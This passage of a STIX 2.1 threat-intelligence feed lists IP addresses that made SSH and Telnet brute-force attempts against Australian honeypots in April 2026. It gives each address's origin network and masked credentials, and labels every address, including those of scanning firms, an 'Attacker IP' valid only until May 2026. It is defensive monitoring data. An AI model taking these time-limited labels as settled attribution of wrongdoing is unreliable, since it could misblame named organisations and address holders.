      "pattern": "[ipv4-addr:value = '66.132.172.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:15:10.000Z",
      "valid_until": "2026-05-06T01:15:08.000Z"
    },
    {
      "created": "2026-04-04T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--f1381559-e52b-4710-b0c5-d53912475ca6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:15:10.000Z",
      "valid_until": "2026-05-06T01:15:08.000Z"
    },
    {
      "created": "2026-04-04T01:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 3352. Organisation(s): Telefonica De Espana S.a.u..",
      "id": "indicator--c774bb4b-201a-4688-9a71-4783b88384d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '83.36.149.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:15:10.000Z",
      "valid_until": "2026-05-06T01:15:08.000Z"
    },
    {
      "created": "2026-04-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--2a7bdedc-fba8-4073-b656-1b4489d90131",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:15:10.000Z",
      "valid_until": "2026-05-06T01:15:08.000Z"
    },
    {
      "created": "2026-04-04T01:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--3abaad2c-182f-4770-a27e-0038e8dd6c98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T01:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T01:15:10.000Z",
      "valid_until": "2026-05-06T01:15:08.000Z"
    },
    {
      "created": "2026-04-04T02:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, p******s, u****u, 3**********4, ***. Passwords observed (masked): 3***********4, 3**********4, 3*******., A******A, A****!.",
      "id": "indicator--7e194419-7a08-4b03-8cbd-80b9fae7ff85",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.248.243.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T02:15:16.000Z",
      "valid_until": "2026-05-06T02:15:08.000Z"
    },
    {
      "created": "2026-04-04T02:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 59371. Organisation(s): Dimension Network & Communication Limited.",
      "id": "indicator--3ffb4d40-d4c7-4196-bf6a-49e299eefe8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.204.156.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T02:15:16.000Z",
      "valid_until": "2026-05-06T02:15:08.000Z"
    },
    {
      "created": "2026-04-04T02:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--3f197fe2-21b6-41c5-bceb-974e97e31341",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.96.48.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T02:15:16.000Z",
      "valid_until": "2026-05-06T02:15:08.000Z"
    },
    {
      "created": "2026-04-04T02:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--0dd623cb-6b5a-4cb2-892c-21d40c8b1ba9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.212.246.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T02:15:16.000Z",
      "valid_until": "2026-05-06T02:15:08.000Z"
    },
    {
      "created": "2026-04-04T02:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 27747. Organisation(s): Telecentro S.A..",
      "id": "indicator--337fbc34-b326-46a0-9ddd-3b499ddae3df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '186.23.25.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T02:15:16.000Z",
      "valid_until": "2026-05-06T02:15:08.000Z"
    },
    {
      "created": "2026-04-04T02:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie. Target ports: 22. Source country: MD. ASN(s): 207164. Organisation(s): Primanet Srl. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, r**t.",
      "id": "indicator--1df5c5cc-08b0-4fa9-b489-953b2961e216",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.15.227.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T02:15:16.000Z",
      "valid_until": "2026-05-06T02:15:08.000Z"
    },
    {
      "created": "2026-04-04T02:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--c54c77e2-1890-4422-bcfc-5135be5b17f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T02:15:16.000Z",
      "valid_until": "2026-05-06T02:15:08.000Z"
    },
    {
      "created": "2026-04-04T02:15:16.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: GB. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--875cd5b1-94dc-455a-b375-7dc83747a6f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T02:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T02:15:16.000Z",
      "valid_until": "2026-05-06T02:15:08.000Z"
    },
    {
      "created": "2026-04-04T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, ***, f*****r, t******r. Passwords observed (masked): 1****6, 1*******D, 1******Z, 3***********4, 3**********4.",
      "id": "indicator--820e4aad-5097-4cdc-b297-20f7a2f29aad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.31.39.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T04:15:11.000Z",
      "valid_until": "2026-05-06T04:15:08.000Z"
    },
    {
      "created": "2026-04-04T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--41278918-d769-4632-94fd-bb68a10c70a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '124.29.194.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T04:15:11.000Z",
      "valid_until": "2026-05-06T04:15:08.000Z"
    },
    {
      "created": "2026-04-04T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 58791. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): r**t, d******r, g***********r, m*******t, u****u. Passwords observed (masked): 1********R, L*********5, Q************@, R*******3, a******..",
      "id": "indicator--40506217-f08d-4232-8353-cc89bf637774",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.251.169.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T04:15:11.000Z",
      "valid_until": "2026-05-06T04:15:08.000Z"
    },
    {
      "created": "2026-04-04T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--4199beaf-9ddb-4682-aee6-206ffce14d5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T04:15:11.000Z",
      "valid_until": "2026-05-06T04:15:08.000Z"
    },
    {
      "created": "2026-04-04T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--c32267ff-ec9a-4768-ad8d-71d714ea502c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T04:15:11.000Z",
      "valid_until": "2026-05-06T04:15:08.000Z"
    },
    {
      "created": "2026-04-04T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 12989. Organisation(s): Black HOST Ltd.",
      "id": "indicator--7ed60638-b67c-4ca9-8819-0cf5f40cbcea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '86.54.31.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T04:15:11.000Z",
      "valid_until": "2026-05-06T04:15:08.000Z"
    },
    {
      "created": "2026-04-04T05:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 195. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, ***, ***, s*****e. Passwords observed (masked): 3***********4, 3**********4, A****!, N**2, P*********3.",
      "id": "indicator--18cdd615-f84f-4b13-bd52-c27eebec34a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.193.36.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T05:15:05.000Z",
      "valid_until": "2026-05-06T05:15:03.000Z"
    },
    {
      "created": "2026-04-04T05:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 215117. Organisation(s): HosterDaddy Private Limited. Usernames observed (masked): 3**********4, r**t, u**r, w*****r, ***. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1****9, A****!.",
      "id": "indicator--61ffe912-eb98-49bf-a033-ea380be52d35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '130.250.191.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T05:15:05.000Z",
      "valid_until": "2026-05-06T05:15:03.000Z"
    },
    {
      "created": "2026-04-04T05:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RW. ASN(s): 37228. Organisation(s): Olleh-Rwanda-Networks. Usernames observed (masked): 3**********4, ***, r**t, u**r, ***. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1****9, A****!.",
      "id": "indicator--7c569cf1-7d12-4468-97d9-0ce80f0406ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.243.14.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T05:15:05.000Z",
      "valid_until": "2026-05-06T05:15:03.000Z"
    },
    {
      "created": "2026-04-04T05:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): u****u, c****e, r**t, 3**********4, ***. Passwords observed (masked): -***f, 3***********4, 3**********4, C******2, N**9.",
      "id": "indicator--8799b47a-6129-4a8c-b26b-51abeba4e505",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '217.154.84.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T05:15:05.000Z",
      "valid_until": "2026-05-06T05:15:03.000Z"
    },
    {
      "created": "2026-04-04T05:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--6af95372-835d-4a1c-adfe-88d56d7dc1c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.26.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T05:15:05.000Z",
      "valid_until": "2026-05-06T05:15:03.000Z"
    },
    {
      "created": "2026-04-04T05:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--b6bc8845-fc1b-464f-881e-8b06f6aa94f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T05:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.134.159.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T05:15:05.000Z",
      "valid_until": "2026-05-06T05:15:03.000Z"
    },
    {
      "created": "2026-04-04T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--bba817f7-4bfb-4265-ba63-6e3d059850e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '114.35.11.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:15:05.000Z",
      "valid_until": "2026-05-06T07:15:04.000Z"
    },
    {
      "created": "2026-04-04T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 333. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, s***m, **, m*****r. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1******8.",
      "id": "indicator--c6b0aa22-8491-43f3-b7e5-c621f5f46da4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:15:05.000Z",
      "valid_until": "2026-05-06T07:15:04.000Z"
    },
    {
      "created": "2026-04-04T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58519. Organisation(s): Cloud Computing Corporation. Usernames observed (masked): r**t, a***n, ***, f*****r, ***. Passwords observed (masked): A******!, D****!, Q********#, Z************#, a*****3.",
      "id": "indicator--53b4c723-4b96-4935-98ad-eda7bdff55ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.42.93.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:15:05.000Z",
      "valid_until": "2026-05-06T07:15:04.000Z"
    },
    {
      "created": "2026-04-04T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 213. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 202269. Organisation(s): BitCommand LLC. Usernames observed (masked): r**t, 3**********4, o**o, ***, d****y. Passwords observed (masked): 3***********4, 3**********4, !******v, ,******., 1******2.",
      "id": "indicator--80f651f2-3c74-4c13-a25b-2ed2bd9fa59b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.248.240.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:15:05.000Z",
      "valid_until": "2026-05-06T07:15:04.000Z"
    },
    {
      "created": "2026-04-04T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t. Passwords observed (masked): @**********6.",
      "id": "indicator--4229f989-98c0-4bc3-b83c-de0d10a3e588",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.46.182.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:15:05.000Z",
      "valid_until": "2026-05-06T07:15:04.000Z"
    },
    {
      "created": "2026-04-04T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 13489. Organisation(s): UNE EPM TELECOMUNICACIONES S.A.. Usernames observed (masked): r**t, u****u, 3**********4, ***, c****e. Passwords observed (masked): ***, 1****6, 3***********4, 3**********4, A********6.",
      "id": "indicator--aa70558c-b1ee-4dbe-80a3-ae5d0c8352bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.184.50.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:15:05.000Z",
      "valid_until": "2026-05-06T07:15:04.000Z"
    },
    {
      "created": "2026-04-04T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 268. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, s***m, 3**********4, **, u****u. Passwords observed (masked): 3***********4, 3**********4, ***, 1****6, 1******8.",
      "id": "indicator--d1628ee5-ea67-4551-9986-d4469ad125e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.159.177.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:15:05.000Z",
      "valid_until": "2026-05-06T07:15:04.000Z"
    },
    {
      "created": "2026-04-04T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 284. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 38719. Organisation(s): Dreamscape Networks Limited. Usernames observed (masked): r**t, 3**********4, u****u, u**r, ***. Passwords observed (masked): 3***********4, 3**********4, !******v, ,******., C**********3.",
      "id": "indicator--eddbb4a4-02a1-4bc6-ba7e-36c256d402fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.245.97.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:15:05.000Z",
      "valid_until": "2026-05-06T07:15:04.000Z"
    },
    {
      "created": "2026-04-04T07:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 321. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131353. Organisation(s): NhanHoa Software company. Usernames observed (masked): r**t, 3**********4, **, m*****r, s***m. Passwords observed (masked): 3***********4, 3**********4, ***, 1****e, ***.",
      "id": "indicator--667d50c7-c5b6-4556-a87d-55445c1bea38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.117.179.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-04T07:15:05.000Z",
      "valid_until": "2026-05-06T07:15:04.000Z"
    },
    {
      "created": "2026-04-04T07:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--f643a624-87a8-4f89-a68b-c3ea3a5ec204",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-04T07:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.167.166.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
